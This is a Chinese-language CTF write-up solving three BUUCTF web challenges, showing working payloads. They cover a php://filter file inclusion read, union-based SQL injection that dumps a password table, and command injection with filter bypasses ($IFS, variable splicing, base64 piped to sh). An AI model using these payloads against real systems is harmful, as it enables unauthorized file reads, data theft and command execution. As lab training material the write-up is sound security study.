BUUCTF刷题[Secret File]&[LoveSQL]&[Ping Ping Ping]

BUUCTF

    • [极客大挑战 2019]Secret File
    • [极客大挑战 2019]LoveSQL
    • [GXYCTF2019]Ping Ping Ping

[极客大挑战 2019]Secret File

BUUCTF刷题[Secret File]&[LoveSQL]&[Ping Ping Ping]_第1张图片

你想知道密码吗,我不想知道,所以我打开了f12

BUUCTF刷题[Secret File]&[LoveSQL]&[Ping Ping Ping]_第2张图片

发现有个事件,而这个事件后面就紧接着一串英文"oh you found me",那就没问题了,直接打开它,发现我们被跳转到了另外一个页面Archive_room.php

BUUCTF刷题[Secret File]&[LoveSQL]&[Ping Ping Ping]_第3张图片

这个界面有个按钮secret,点进去他说里面没有东西,叫我回去仔细再看一下,而这里我观看Archive_room.php这个页面的源码的时候明显是点击secret按钮后跳转到action.php页面去的,但是他却直接跳转到了end.php,这说明在action.php页面存在代码将我们自动跳转到end.php,而且是时间很短的那种

所以为了在action.php这个页面停留,我采取了使用burp抓包的方式,将页面停留在action.php

BUUCTF刷题[Secret File]&[LoveSQL]&[Ping Ping Ping]_第4张图片

抓包访问action.php页面他提示我们secr3t.php,那接下来就继续访问secr3t.php这个页面

BUUCTF刷题[Secret File]&[LoveSQL]&[Ping Ping Ping]_第5张图片[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-C9tXLP88-1639245874151)(C:/Users/86185/AppData/Roaming/Typora/typora-user-images/image-20211212004237722.png)]

然后他说flag放在了flag.php里面,那继续访问flag.php

BUUCTF刷题[Secret File]&[LoveSQL]&[Ping Ping Ping]_第6张图片

说明这是最后一个页面了,剩下的就是利用某种方法来找到藏在这个页面的flag

首先我们要知道一个知识,就是php文件中可以写前端代码比如说HTML,这种一般是显示出来的,也有些php后端代码,而这个php代码默认是不会显示的,除非你用某种函数,而他提示说flag就在这个页面说明,flag就藏在php代码里面

现在来审计secr3t.php的代码

<html>
    <title>secret</title>
    <meta charset="UTF-8">
<?php
    highlight_file(__FILE__);
    error_reporting(0);
    $file=$_GET['file'];
    if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
        echo "Oh no!";
        exit();
    }
    include($file); 
//flag放在了flag.php里
?>
</html>

这里存在一个文件包含include函数,而其中的参数file变量是我们认为可以控制的,这里禁用掉了切换目录的../tp字符input伪协议,以及data伪协议,然后我们又要知道flag.php的完整源代码,就想到了php://filter伪协议进行当前目录下任意文件读取

所以构造出的payload如下

~secr3t.php?file=php://filter/convert.base64-encode/resource=flag.php

BUUCTF刷题[Secret File]&[LoveSQL]&[Ping Ping Ping]_第7张图片

进行base64解码然后发现了flag

BUUCTF刷题[Secret File]&[LoveSQL]&[Ping Ping Ping]_第8张图片

[极客大挑战 2019]LoveSQL

BUUCTF刷题[Secret File]&[LoveSQL]&[Ping Ping Ping]_第9张图片

flag放在那个地方?先寻找注入点把

BUUCTF刷题[Secret File]&[LoveSQL]&[Ping Ping Ping]_第10张图片

很显然可以注入,还是加上#号后正常回显,然后尝试使用order by爆出列名

1'order by 4%23 //回显Unknown column '4' in 'order clause'
1‘order by 3 %23   //回显正常
说明当前查询的表为三列

接下来使用union select看是否有回显点

BUUCTF刷题[Secret File]&[LoveSQL]&[Ping Ping Ping]_第11张图片

有回显点,直接进行联合注入就行了

因为最开始他说他把flag放在了那个地方,所以我觉得很有必要将所有数据库的名字都注入一遍,防止flag不在当前数据库的情况
当前数据库名:
-1'union select 1,2,database()%23   //查出当前数据库为'geek'


所有数据库名:
-1'union select 1,2,group_concat(schema_name) from information_schema.schemata %23                           //查出information_schema,mysql,performance_schema,test,geek,很显然还是我多虑了
    
    
geek数据库中的所有表:
-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='geek'%23 
//查出表为geekuser,l0ve1ysq1,以我的经验,flag必定在l0ve1ysq1里面


l0ve1ysq1表中所有字段:
-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='l0ve1ysq1'%23  //结果为id,username,password,那应该不是在password里面就是在另外一张表里面了
    
    
password列中的所有值:
-1'union select 1,2,group_concat(password) from geek.l0ve1ysq1%23    
//结果wo_tai_nan_le,glzjin_wants_a_girlfriend,biao_ge_dddd_hm,linux_chuang_shi_ren,a_rua_rain,yan_shi_fu_de_mao_bo_he,cl4y,di_2_kuai_fu_ji,di_3_kuai_fu_ji,di_4_kuai_fu_ji,di_5_kuai_fu_ji,di_6_kuai_fu_ji,di_7_kuai_fu_ji,di_8_kuai_fu_ji,Syc_san_da_hacker,flag{95322f13-6777-421d-a631-6505096ba78c}
这不是有了吗

BUUCTF刷题[Secret File]&[LoveSQL]&[Ping Ping Ping]_第12张图片

[GXYCTF2019]Ping Ping Ping

一听题目感觉就跟ping相关,或者是rce

BUUCTF刷题[Secret File]&[LoveSQL]&[Ping Ping Ping]_第13张图片

果然如此,他给出了个提示/?ip=,这很明显就是一个get传参,我们要上传一个ip的参数通过get的方式

然后构造payload

1;ls

BUUCTF刷题[Secret File]&[LoveSQL]&[Ping Ping Ping]_第14张图片

返现网站根目录有flag.php,然后我访问它发现这个页面没有任何回显,那毫无疑问这个flag就藏在这个flag.php里面

1;cat flag.php

BUUCTF刷题[Secret File]&[LoveSQL]&[Ping Ping Ping]_第15张图片

不能使用空格?然后我试着用%09(TAB键的URL编码)

BUUCTF刷题[Secret File]&[LoveSQL]&[Ping Ping Ping]_第16张图片

fxck my symbol?看来数字也不能使用了,一般绕过空格的方法又一下

<<>%20(space)%09(tab)$IFS$9${IFS}$IFS{cat,flag}

其中$IFS不含数字,所以构造payload如下

1;cat$IFSflag

BUUCTF刷题[Secret File]&[LoveSQL]&[Ping Ping Ping]_第17张图片

结果他又绕过了flag,然后我尝试了各种单引号,问号通配符都被过滤掉了,所以我就换一条思路,查看index.php的源码,看是否有什么

BUUCTF刷题[Secret File]&[LoveSQL]&[Ping Ping Ping]_第18张图片

/?ip=
PING 1 (0.0.0.1): 56 data bytes
/?ip=
|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
    echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
    die("fxck your symbol!");
  } else if(preg_match("/ /", $ip)){
    die("fxck your space!");
  } else if(preg_match("/bash/", $ip)){
    die("fxck your bash!");
  } else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
    die("fxck your flag!");
  }
  $a = shell_exec("ping -c 4 ".$ip);
  echo "
";
  print_r($a);
}

?>
if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
    die("fxck your flag!");
  }

有了这串源码那就好办了,直接把正则匹配表达式放在网站上一解析

BUUCTF刷题[Secret File]&[LoveSQL]&[Ping Ping Ping]_第19张图片

所以直接通过变量拼接的方式进行构造flag.php这一关键字,所以构造出的payload如下

/?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php

BUUCTF刷题[Secret File]&[LoveSQL]&[Ping Ping Ping]_第20张图片

  • 当然也可以使用base64绕过,虽然bash被过滤掉了,但是linux还有sh可以用
/?ip=127.0.0.1;echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh

BUUCTF刷题[Secret File]&[LoveSQL]&[Ping Ping Ping]_第21张图片

  • 还有一种,我个人感觉是最简单的一种

    1;cat$IFS$9`ls`
    

    BUUCTF刷题[Secret File]&[LoveSQL]&[Ping Ping Ping]_第22张图片

你可能感兴趣的:(WP,php,安全,开发语言)